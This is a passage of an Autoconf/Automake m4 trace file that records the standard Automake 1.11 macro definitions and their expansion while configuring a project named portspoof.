# simplest approach to changing $(DEPDIR) to its actual value in the
|
||||
# expansion.
|
||||
for file in `sed -n "
|
||||
s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$mf" | \
|
||||
sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g' -e 's/\$U/'"$U"'/g'`; do
|
||||
# Make sure the directory exists.
|
||||
test -f "$dirpart/$file" && continue
|
||||
fdir=`AS_DIRNAME(["$file"])`
|
||||
AS_MKDIR_P([$dirpart/$fdir])
|
||||
# echo "creating $dirpart/$file"
|
||||
echo '# dummy' > "$dirpart/$file"
|
||||
done
|
||||
done
|
||||
}
|
||||
])
|
||||
m4trace:/usr/share/aclocal-1.11/depout.m4:75: -1- AC_DEFUN([AM_OUTPUT_DEPENDENCY_COMMANDS], [AC_CONFIG_COMMANDS([depfiles],
|
||||
[test x"$AMDEP_TRUE" != x"" || _AM_OUTPUT_DEPENDENCY_COMMANDS],
|
||||
[AMDEP_TRUE="$AMDEP_TRUE" ac_aux_dir="$ac_aux_dir"])
|
||||
])
|
||||
m4trace:/usr/share/aclocal-1.11/init.m4:26: -1- AC_DEFUN([AM_INIT_AUTOMAKE], [AC_PREREQ([2.62])dnl
|
||||
dnl Autoconf wants to disallow AM_ names. We explicitly allow
|
||||
dnl the ones we care about.
|
||||
m4_pattern_allow([^AM_[A-Z]+FLAGS$])dnl
|
||||
AC_REQUIRE([AM_SET_CURRENT_AUTOMAKE_VERSION])dnl
|
||||
AC_REQUIRE([AC_PROG_INSTALL])dnl
|
||||
if test "`cd $srcdir && pwd`" != "`pwd`"; then
|
||||
# Use -I$(srcdir) only when $(srcdir) != ., so that make's output
|
||||
# is not polluted with repeated "-I."
|
||||
AC_SUBST([am__isrc], [' -I$(srcdir)'])_AM_SUBST_NOTMAKE([am__isrc])dnl
|
||||
# test to see if srcdir already configured
|
||||
if test -f $srcdir/config.status; then
|
||||
AC_MSG_ERROR([source directory already configured; run "make distclean" there first])
|
||||
fi
|
||||
fi
|
||||
|
||||
# test whether we have cygpath
|
||||
if test -z "$CYGPATH_W"; then
|
||||
if (cygpath --version) >/dev/null 2>/dev/null; then
|
||||
CYGPATH_W='cygpath -w'
|
||||
else
|
||||
CYGPATH_W=echo
|
||||
fi
|
||||
fi
|
||||
AC_SUBST([CYGPATH_W])
|
||||
|
||||
# Define the identity of the package.
|
||||
dnl Distinguish between old-style and new-style calls.
|
||||
m4_ifval([$2],
|
||||
[m4_ifval([$3], [_AM_SET_OPTION([no-define])])dnl
|
||||
AC_SUBST([PACKAGE], [$1])dnl
|
||||
AC_SUBST([VERSION], [$2])],
|
||||
[_AM_SET_OPTIONS([$1])dnl
|
||||
dnl Diagnose old-style AC_INIT with new-style AM_AUTOMAKE_INIT.
|
||||
m4_if(m4_ifdef([AC_PACKAGE_NAME], 1)m4_ifdef([AC_PACKAGE_VERSION], 1), 11,,
|
||||
[m4_fatal([AC_INIT should be called with package and version arguments])])dnl
|
||||
AC_SUBST([PACKAGE], ['AC_PACKAGE_TARNAME'])dnl
|
||||
AC_SUBST([VERSION], ['AC_PACKAGE_VERSION'])])dnl
|
||||
|
||||
_AM_IF_OPTION([no-define],,
|
||||
[AC_DEFINE_UNQUOTED(PACKAGE, "$PACKAGE", [Name of package])
|
||||
AC_DEFINE_UNQUOTED(VERSION, "$VERSION", [Version number of package])])dnl
|
||||
|
||||
# Some tools Automake needs.
|
||||
AC_REQUIRE([AM_SANITY_CHECK])dnl
|
||||
AC_REQUIRE([AC_ARG_PROGRAM])dnl
|
||||
AM_MISSING_PROG(ACLOCAL, aclocal-${am__api_version})
|
||||
AM_MISSING_PROG(AUTOCONF, autoconf)
|
||||
AM_MISSING_PROG(AUTOMAKE, automake-${am__api_version})
|
||||
AM_MISSING_PROG(AUTOHEADER, autoheader)
|
||||
AM_MISSING_PROG(MAKEINFO, makeinfo)
|
||||
AC_REQUIRE([AM_PROG_INSTALL_SH])dnl
|
||||
AC_REQUIRE([AM_PROG_INSTALL_STRIP])dnl
|
||||
AC_REQUIRE([AM_PROG_MKDIR_P])dnl
|
||||
# We need awk for the "check" target. The system "awk" is bad on
|
||||
# some platforms.
|
||||
AC_REQUIRE([AC_PROG_AWK])dnl
|
||||
AC_REQUIRE([AC_PROG_MAKE_SET])dnl
|
||||
AC_REQUIRE([AM_SET_LEADING_DOT])dnl
|
||||
_AM_IF_OPTION([tar-ustar], [_AM_PROG_TAR([ustar])],
|
||||
[_AM_IF_OPTION([tar-pax], [_AM_PROG_TAR([pax])],
|
||||
[_AM_PROG_TAR([v7])])])
|
||||
_AM_IF_OPTION([no-dependencies],,
|
||||
[AC_PROVIDE_IFELSE([AC_PROG_CC],
|
||||
[_AM_DEPENDENCIES(CC)],
|
||||
[define([AC_PROG_CC],
|
||||
defn([AC_PROG_CC])[_AM_DEPENDENCIES(CC)])])dnl
|
||||
AC_PROVIDE_IFELSE([AC_PROG_CXX],
|
||||
[_AM_DEPENDENCIES(CXX)],
|
||||
[define([AC_PROG_CXX],
|
||||
defn([AC_PROG_CXX])[_AM_DEPENDENCIES(CXX)])])dnl
|
||||
AC_PROVIDE_IFELSE([AC_PROG_OBJC],
|
||||
[_AM_DEPENDENCIES(OBJC)],
|
||||
[define([AC_PROG_OBJC],
|
||||
defn([AC_PROG_OBJC])[_AM_DEPENDENCIES(OBJC)])])dnl
|
||||
])
|
||||
_AM_IF_OPTION([silent-rules], [AC_REQUIRE([AM_SILENT_RULES])])dnl
|
||||
dnl The `parallel-tests' driver may need to know about EXEEXT, so add the
|
||||
dnl `am__EXEEXT' conditional if _AM_COMPILER_EXEEXT was seen. This macro
|
||||
dnl is hooked onto _AC_COMPILER_EXEEXT early, see below.
|
||||
AC_CONFIG_COMMANDS_PRE(dnl
|
||||
[m4_provide_if([_AM_COMPILER_EXEEXT],
|
||||
[AM_CONDITIONAL([am__EXEEXT], [test -n "$EXEEXT"])])])dnl
|
||||
])
|
||||
m4trace:/usr/share/aclocal-1.11/init.m4:126: -1- AC_DEFUN([_AC_AM_CONFIG_HEADER_HOOK], [# Compute $1's index in $config_headers.
|
||||
_am_arg=$1
|
||||
_am_stamp_count=1
|
||||
for _am_header in $config_headers :; do
|
||||
case $_am_header in
|
||||
$_am_arg | $_am_arg:* )
|
||||
break ;;
|
||||
* )
|
||||
_am_stamp_count=`expr $_am_stamp_count + 1` ;;
|
||||
esac
|
||||
done
|
||||
echo "timestamp for $_am_arg" >`AS_DIRNAME(["$_am_arg"])`/stamp-h[]$_am_stamp_count])
|
||||
m4trace:/usr/share/aclocal-1.11/install-sh.m4:11: -1- AC_DEFUN([AM_PROG_INSTALL_SH], [AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl
|
||||
if test x"${install_sh}" != xset; then
|
||||
case $am_aux_dir in
|
||||
*\ * | *\ *)
|
||||
install_sh="\${SHELL} '$am_aux_dir/install-sh'" ;;
|
||||
*)
|
||||
install_sh="\${SHELL} $am_aux_dir/install-sh"
|
||||
esac
|
||||
fi
|
||||
AC_SUBST(install_sh)])
|
||||
m4trace:/usr/share/aclocal-1.11/lead-dot.m4:12: -1- AC_DEFUN([AM_SET_LEADING_DOT], [rm -rf .tst 2>/dev/null
|
||||
mkdir .tst 2>/dev/null
|
||||
if test -d .tst; then
|
||||
am__leading_dot=.
|
||||
else
|
||||
am__leading_dot=_
|
||||
fi
|
||||
rmdir .tst 2>/dev/null
|
||||
AC_SUBST([am__leading_dot])])
|
||||
m4trace:/usr/share/aclocal-1.11/make.m4:14: -1- AC_DEFUN([AM_MAKE_INCLUDE], [am_make=${MAKE-make}
|
||||
cat > confinc << 'END'
|
||||
am__doit:
|
||||
@echo this is the am__doit target
|
||||
.PHONY: am__doit
|
||||
END
|
||||
# If we don't find an include directive, just comment out the code.
|
||||
AC_MSG_CHECKING([for style of include used by $am_make])
|
||||
am__include="#"
|
||||
am__quote=
|
||||
_am_result=none
|
||||
# First try GNU make style include.
|
||||
echo "include confinc" > confmf
|
||||
# Ignore all kinds of additional output from `make'.
|
||||
case `$am_make -s -f confmf 2> /dev/null` in #(
|
||||
*the\ am__doit\ target*)
|
||||
am__include=include
|
||||
am__quote=
|
||||
_am_result=GNU
|
||||
;;
|
||||
esac
|
||||
# Now try BSD make style include.
|
||||
if test "$am__include" = "#"; then
|
||||
echo '.include "confinc"' > confmf
|
||||
case `$am_make -s -f confmf 2> /dev/null` in #(
|
||||
*the\ am__doit\ target*)
|
||||
am__include=.include
|
||||
am__quote="\""
|
||||
_am_result=BSD
|
||||
;;
|
||||
esac
|
||||
fi
|
||||
AC_SUBST([am__include])
|
||||
AC_SUBST([am__quote])
|
||||
AC_MSG_RESULT([$_am_result])
|
||||
rm -f confinc confmf
|
||||
])
|
||||
m4trace:/usr/share/aclocal-1.11/minuso.m4:14: -1- AC_DEFUN([AM_PROG_CC_C_O], [AC_REQUIRE([AC_PROG_CC_C_O])dnl
|
||||
AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl
|
||||
AC_REQUIRE_AUX_FILE([compile])dnl
|
||||
# FIXME: we rely on the cache variable name because
|
||||
# there is no other way.
|
||||
set dummy $CC
|
||||
am_cc=`echo $[2] | sed ['s/[^a-zA-Z0-9_]/_/g;s/^[0-9]/_/']`
|
||||
eval am_t=\$ac_cv_prog_cc_${am_cc}_c_o
|
||||
if test "$am_t" != yes; then
|
||||
# Losing compiler, so override with the script.
|
||||
# FIXME: It is wrong to rewrite CC.
|
||||
# But if we don't then we get into trouble of one sort or another.
|
||||
# A longer-term fix would be to have automake use am__CC in this case,
|
||||
# and then we could set am__CC="\$(top_srcdir)/compile \$(CC)"
|
||||
CC="$am_aux_dir/compile $CC"
|
||||
fi
|
||||
dnl Make sure AC_PROG_CC is never called again, or it will override our
|
||||
dnl setting of CC.
|
||||
m4_define([AC_PROG_CC],
|
||||
[m4_fatal([AC_PROG_CC cannot be called after AM_PROG_CC_C_O])])
|
||||
])
|
||||
m4trace:/usr/share/aclocal-1.11/missing.m4:14: -1- AC_DEFUN([AM_MISSING_PROG], [AC_REQUIRE([AM_MISSING_HAS_RUN])
|
||||
$1=${$1-"${am_missing_run}$2"}
|
||||
AC_SUBST($1)])
|
||||
m4trace:/usr/share/aclocal-1.11/missing.m4:24: -1- AC_DEFUN([AM_MISSING_HAS_RUN], [AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl
|
||||
AC_REQUIRE_AUX_FILE([missing])dnl
|
||||
if test x"${MISSING+set}" != xset; then
|
||||
case $am_aux_dir in
|
||||
*\ * | *\ *)
|
||||
MISSING="\${SHELL} \"$am_aux_dir/missing\"" ;;
|
||||
*)
|
||||
MISSING="\${SHELL} $am_aux_dir/missing" ;;
|
||||
esac
|
||||
fi
|
||||
# Use eval to expand $SHELL
|
||||
if eval "$MISSING --run true"; then
|
||||
am_missing_run="$MISSING --run "
|
||||
else
|
||||
am_missing_run=
|
||||
AC_MSG_WARN([`missing' script is too old or missing])
|
||||
fi
|
||||
])
|
||||
m4trace:/usr/share/aclocal-1.11/mkdirp.m4:11: -1- AC_DEFUN([AM_PROG_MKDIR_P], [AC_PREREQ([2.60])dnl
|
||||
AC_REQUIRE([AC_PROG_MKDIR_P])dnl
|
||||
dnl Automake 1.8 to 1.9.6 used to define mkdir_p. We now use MKDIR_P,
|
||||
dnl while keeping a definition of mkdir_p for backward compatibility.
|
||||
dnl @MKDIR_P@ is magic: AC_OUTPUT adjusts its value for each Makefile.
|
||||
dnl However we cannot define mkdir_p as $(MKDIR_P) for the sake of
|
||||
dnl Makefile.ins that do not define MKDIR_P, so we do our own
|
||||
dnl adjustment using top_builddir (which is defined more often than
|
||||
dnl MKDIR_P).
|
||||
AC_SUBST([mkdir_p], ["$MKDIR_P"])dnl
|
||||
case $mkdir_p in
|
||||
[[\\/$]]* | ?:[[\\/]]*) ;;
|
||||
*/*) mkdir_p="\$(top_builddir)/$mkdir_p" ;;
|
||||
esac
|
||||
])
|
||||
m4trace:/usr/share/aclocal-1.11/options.m4:13: -1- AC_DEFUN([_AM_MANGLE_OPTION], [[_AM_OPTION_]m4_bpatsubst($1, [[^a-zA-Z0-9_]], [_])])
|
||||
m4trace:/usr/share/aclocal-1.11/options.m4:19: -1- AC_DEFUN([_AM_SET_OPTION], [m4_define(_AM_MANGLE_OPTION([$1]), 1)])
|
||||
m4trace:/usr/share/aclocal-1.11/options.m4:25: -1- AC_DEFUN([_AM_SET_OPTIONS], [m4_foreach_w([_AM_Option], [$1], [_AM_SET_OPTION(_AM_Option)])])
|
||||
m4trace:/usr/share/aclocal-1.11/options.m4:31: -1- AC_DEFUN([_AM_IF_OPTION], [m4_ifset(_AM_MANGLE_OPTION([$1]), [$2], [$3])])
|
||||
m4trace:/usr/share/aclocal-1.11/runlog.m4:12: -1- AC_DEFUN([AM_RUN_LOG], [{ echo "$as_me:$LINENO: $1" >&AS_MESSAGE_LOG_FD
|
||||
($1) >&AS_MESSAGE_LOG_FD 2>&AS_MESSAGE_LOG_FD
|
||||
ac_status=$?
|
||||
echo "$as_me:$LINENO: \$? = $ac_status" >&AS_MESSAGE_LOG_FD
|
||||
(exit $ac_status); }])
|
||||
m4trace:/usr/share/aclocal-1.11/sanity.m4:14: -1- AC_DEFUN([AM_SANITY_CHECK], [AC_MSG_CHECKING([whether build environment is sane])
|
||||
# Just in case
|
||||
sleep 1
|
||||
echo timestamp > conftest.file
|
||||
# Reject unsafe characters in $srcdir or the absolute working directory
|
||||
# name. Accept space and tab only in the latter.
|
||||
am_lf='
|
||||
'
|
||||
case `pwd` in
|
||||
*[[\\\"\#\$\&\'\`$am_lf]]*)
|
||||
AC_MSG_ERROR([unsafe absolute working directory name]);;
|
||||
esac
|
||||
case $srcdir in
|
||||
*[[\\\"\#\$\&\'\`$am_lf\ \ ]]*)
|
||||
AC_MSG_ERROR([unsafe srcdir value: `$srcdir']);;
|
||||
esac
|
||||
|
||||
# Do `set' in a subshell so we don't clobber the current shell's
|
||||
# arguments. Must try -L first in case configure is actually a
|
||||
# symlink; some systems play weird games with the mod time of symlinks
|
||||
# (eg FreeBSD returns the mod time of the symlink's containing
|
||||
# directory).
|
||||
if (
|
||||
set X `ls -Lt "$srcdir/configure" conftest.file 2> /dev/null`
|
||||
if test "$[*]" = "X"; then
|
||||
# -L didn't work.
|
||||
set X `ls -t "$srcdir/configure" conftest.file`
|
||||
fi
|
||||
rm -f conftest.file
|
||||
if test "$[*]" != "X $srcdir/configure conftest.file" \
|
||||
&& test "$[*]" != "X conftest.file $srcdir/configure"; then
|
||||
|
||||
# If neither matched, then we have a broken ls. This can happen
|
||||
# if, for instance, CONFIG_SHELL is bash and it inherits a
|
||||
# broken ls alias from the environment. This has actually
|
||||
# happened. Such a system could not be considered "sane".
|
||||
AC_MSG_ERROR([ls -t appears to fail. Make sure there is not a broken
|
||||
alias in your environment])
|
||||
fi
|
||||
|
||||
test "$[2]" = conftest.file
|
||||
)
|
||||
then
|
||||
# Ok.
|
||||
:
|
||||
else
|
||||
AC_MSG_ERROR([newly created file is older than distributed files!
|
||||
Check your system clock])
|
||||
fi
|
||||
AC_MSG_RESULT(yes)])
|
||||
m4trace:/usr/share/aclocal-1.11/silent.m4:14: -1- AC_DEFUN([AM_SILENT_RULES], [AC_ARG_ENABLE([silent-rules],
|
||||
[ --enable-silent-rules less verbose build output (undo: `make V=1')
|
||||
--disable-silent-rules verbose build output (undo: `make V=0')])
|
||||
case $enable_silent_rules in
|
||||
yes) AM_DEFAULT_VERBOSITY=0;;
|
||||
no) AM_DEFAULT_VERBOSITY=1;;
|
||||
*) AM_DEFAULT_VERBOSITY=m4_if([$1], [yes], [0], [1]);;
|
||||
esac
|
||||
AC_SUBST([AM_DEFAULT_VERBOSITY])dnl
|
||||
AM_BACKSLASH='\'
|
||||
AC_SUBST([AM_BACKSLASH])dnl
|
||||
_AM_SUBST_NOTMAKE([AM_BACKSLASH])dnl
|
||||
])
|
||||
m4trace:/usr/share/aclocal-1.11/strip.m4:17: -1- AC_DEFUN([AM_PROG_INSTALL_STRIP], [AC_REQUIRE([AM_PROG_INSTALL_SH])dnl
|
||||
# Installed binaries are usually stripped using `strip' when the user
|
||||
# run `make install-strip'. However `strip' might not be the right
|
||||
# tool to use in cross-compilation environments, therefore Automake
|
||||
# will honor the `STRIP' environment variable to overrule this program.
|
||||
dnl Don't test for $cross_compiling = yes, because it might be `maybe'.
|
||||
if test "$cross_compiling" != no; then
|
||||
AC_CHECK_TOOL([STRIP], [strip], :)
|
||||
fi
|
||||
INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s"
|
||||
AC_SUBST([INSTALL_STRIP_PROGRAM])])
|
||||
m4trace:/usr/share/aclocal-1.11/substnot.m4:14: -1- AC_DEFUN([_AM_SUBST_NOTMAKE])
|
||||
m4trace:/usr/share/aclocal-1.11/substnot.m4:19: -1- AC_DEFUN([AM_SUBST_NOTMAKE], [_AM_SUBST_NOTMAKE($@)])
|
||||
m4trace:/usr/share/aclocal-1.11/tar.m4:24: -1- AC_DEFUN([_AM_PROG_TAR], [# Always define AMTAR for backward compatibility.
|
||||
AM_MISSING_PROG([AMTAR], [tar])
|
||||
m4_if([$1], [v7],
|
||||
[am__tar='${AMTAR} chof - "$$tardir"'; am__untar='${AMTAR} xf -'],
|
||||
[m4_case([$1], [ustar],, [pax],,
|
||||
[m4_fatal([Unknown tar format])])
|
||||
AC_MSG_CHECKING([how to create a $1 tar archive])
|
||||
# Loop over all known methods to create a tar archive until one works.
|
||||
_am_tools='gnutar m4_if([$1], [ustar], [plaintar]) pax cpio none'
|
||||
_am_tools=${am_cv_prog_tar_$1-$_am_tools}
|
||||
# Do not fold the above two line into one, because Tru64 sh and
|
||||
# Solaris sh will not grok spaces in the rhs of `-'.
|
||||
for _am_tool in $_am_tools
|
||||
do
|
||||
case $_am_tool in
|
||||
gnutar)
|
||||
for _am_tar in tar gnutar gtar;
|
||||
do
|
||||
AM_RUN_LOG([$_am_tar --version]) && break
|
||||
done
|
||||
am__tar="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$$tardir"'
|
||||
am__tar_="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$tardir"'
|
||||
am__untar="$_am_tar -xf -"
|
||||
;;
|
||||
plaintar)
|
||||
# Must skip GNU tar: if it does not support --format= it doesn't create
|
||||
# ustar tarball either.
|
||||
(tar --version) >/dev/null 2>&1 && continue
|
||||
am__tar='tar chf - "$$tardir"'
|
||||
am__tar_='tar chf - "$tardir"'
|
||||
am__untar='tar xf -'
|
||||
;;
|
||||
pax)
|
||||
am__tar='pax -L -x $1 -w "$$tardir"'
|
||||
am__tar_='pax -L -x $1 -w "$tardir"'
|
||||
am__untar='pax -r'
|
||||
;;
|
||||
cpio)
|
||||
am__tar='find "$$tardir" -print | cpio -o -H $1 -L'
|
||||
am__tar_='find "$tardir" -print | cpio -o -H $1 -L'
|
||||
am__untar='cpio -i -H $1 -d'
|
||||
;;
|
||||
none)
|
||||
am__tar=false
|
||||
am__tar_=false
|
||||
am__untar=false
|
||||
;;
|
||||
esac
|
||||
|
||||
# If the value was cached, stop now. We just wanted to have am__tar
|
||||
# and am__untar set.
|
||||
test -n "${am_cv_prog_tar_$1}" && break
|
||||
|
||||
# tar/untar a dummy directory, and stop if the command works
|
||||
rm -rf conftest.dir
|
||||
mkdir conftest.dir
|
||||
echo GrepMe > conftest.dir/file
|
||||
AM_RUN_LOG([tardir=conftest.dir && eval $am__tar_ >conftest.tar])
|
||||
rm -rf conftest.dir
|
||||
if test -s conftest.tar; then
|
||||
AM_RUN_LOG([$am__untar <conftest.tar])
|
||||
grep GrepMe conftest.dir/file >/dev/null 2>&1 && break
|
||||
fi
|
||||
done
|
||||
rm -rf conftest.dir
|
||||
|
||||
AC_CACHE_VAL([am_cv_prog_tar_$1], [am_cv_prog_tar_$1=$_am_tool])
|
||||
AC_MSG_RESULT([$am_cv_prog_tar_$1])])
|
||||
AC_SUBST([am__tar])
|
||||
AC_SUBST([am__untar])
|
||||
])
|
||||
m4trace:configure.in:7: -1- m4_pattern_forbid([^_?A[CHUM]_])
|
||||
m4trace:configure.in:7: -1- m4_pattern_forbid([_AC_])
|
||||
m4trace:configure.in:7: -1- m4_pattern_forbid([^LIBOBJS$], [do not use LIBOBJS directly, use AC_LIBOBJ (see section `AC_LIBOBJ vs LIBOBJS'])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^AS_FLAGS$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_forbid([^_?m4_])
|
||||
m4trace:configure.in:7: -1- m4_pattern_forbid([^dnl$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_forbid([^_?AS_])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^SHELL$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PATH_SEPARATOR$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_NAME$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_TARNAME$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_VERSION$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_STRING$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_BUGREPORT$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_URL$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^exec_prefix$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^prefix$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^program_transform_name$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^bindir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^sbindir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^libexecdir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^datarootdir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^datadir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^sysconfdir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^sharedstatedir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^localstatedir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^includedir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^oldincludedir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^docdir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^infodir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^htmldir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^dvidir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^pdfdir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^psdir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^libdir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^localedir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^mandir$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_NAME$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_TARNAME$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_VERSION$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_STRING$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_BUGREPORT$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_URL$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^DEFS$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^ECHO_C$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^ECHO_N$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^ECHO_T$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^LIBS$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^build_alias$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^host_alias$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^target_alias$])
|
||||
m4trace:configure.in:11: -1- AM_INIT_AUTOMAKE([portspoof], [1.0])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^AM_[A-Z]+FLAGS$])
|
||||
m4trace:configure.in:11: -1- AM_SET_CURRENT_AUTOMAKE_VERSION
|
||||
m4trace:configure.in:11: -1- AM_AUTOMAKE_VERSION([1.11.1])
|
||||
m4trace:configure.in:11: -1- _AM_AUTOCONF_VERSION([2.65])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^INSTALL_PROGRAM$])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^INSTALL_SCRIPT$])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^INSTALL_DATA$])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^am__isrc$])
|
||||
m4trace:configure.in:11: -1- _AM_SUBST_NOTMAKE([am__isrc])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^CYGPATH_W$])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^PACKAGE$])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^VERSION$])
|
||||
m4trace:configure.in:11: -1- _AM_IF_OPTION([no-define], [], [AC_DEFINE_UNQUOTED(PACKAGE, "$PACKAGE", [Name of package])
|
||||
AC_DEFINE_UNQUOTED(VERSION, "$VERSION", [Version number of package])])
|
||||
m4trace:configure.in:11: -2- _AM_MANGLE_OPTION([no-define])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^PACKAGE$])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^VERSION$])
|
||||
m4trace:configure.in:11: -1- AM_SANITY_CHECK
|
||||
m4trace:configure.in:11: -1- AM_MISSING_PROG([ACLOCAL], [aclocal-${am__api_version}])
|
||||
m4trace:configure.in:11: -1- AM_MISSING_HAS_RUN
|
||||
m4trace:configure.in:11: -1- AM_AUX_DIR_EXPAND
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^ACLOCAL$])
|
||||
m4trace:configure.in:11: -1- AM_MISSING_PROG([AUTOCONF], [autoconf])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^AUTOCONF$])
|
||||
m4trace:configure.in:11: -1- AM_MISSING_PROG([AUTOMAKE], [automake-${am__api_version}])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^AUTOMAKE$])
|
||||
m4trace:configure.in:11: -1- AM_MISSING_PROG([AUTOHEADER], [autoheader])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^AUTOHEADER$])
|
||||
m4trace:configure.in:11: -1- AM_MISSING_PROG([MAKEINFO], [makeinfo])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^MAKEINFO$])
|
||||
m4trace:configure.in:11: -1- AM_PROG_INSTALL_SH
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^install_sh$])
|
||||
m4trace:configure.in:11: -1- AM_PROG_INSTALL_STRIP
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^STRIP$])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^INSTALL_STRIP_PROGRAM$])
|
||||
m4trace:configure.in:11: -1- AM_PROG_MKDIR_P
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^MKDIR_P$])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^mkdir_p$])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^AWK$])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^SET_MAKE$])
|
||||
m4trace:configure.in:11: -1- AM_SET_LEADING_DOT
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^am__leading_dot$])
|
||||
m4trace:configure.in:11: -1- _AM_IF_OPTION([tar-ustar], [_AM_PROG_TAR([ustar])], [_AM_IF_OPTION([tar-pax], [_AM_PROG_TAR([pax])],
|
||||
[_AM_PROG_TAR([v7])])])
|
||||
m4trace:configure.in:11: -2- _AM_MANGLE_OPTION([tar-ustar])
|
||||
m4trace:configure.in:11: -1- _AM_IF_OPTION([tar-pax], [_AM_PROG_TAR([pax])], [_AM_PROG_TAR([v7])])
|
||||
m4trace:configure.in:11: -2- _AM_MANGLE_OPTION([tar-pax])
|
||||
m4trace:configure.in:11: -1- _AM_PROG_TAR([v7])
|
||||
m4trace:configure.in:11: -1- AM_MISSING_PROG([AMTAR], [tar])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^AMTAR$])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^am__tar$])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^am__untar$])
|
||||
m4trace:configure.in:11: -1- _AM_IF_OPTION([no-dependencies], [], [AC_PROVIDE_IFELSE([AC_PROG_CC],
|
||||
[_AM_DEPENDENCIES(CC)],
|
||||
[define([AC_PROG_CC],
|
||||
defn([AC_PROG_CC])[_AM_DEPENDENCIES(CC)])])dnl
|
||||
AC_PROVIDE_IFELSE([AC_PROG_CXX],
|
||||
[_AM_DEPENDENCIES(CXX)],
|
||||
[define([AC_PROG_CXX],
|
||||
defn([AC_PROG_CXX])[_AM_DEPENDENCIES(CXX)])])dnl
|
||||
AC_PROVIDE_IFELSE([AC_PROG_OBJC],
|
||||
[_AM_DEPENDENCIES(OBJC)],
|
||||
[define([AC_PROG_OBJC],
|
||||
defn([AC_PROG_OBJC])[_AM_DEPENDENCIES(OBJC)])])dnl
|
||||
])
|
||||
m4trace:configure.in:11: -2- _AM_MANGLE_OPTION([no-dependencies])
|
||||
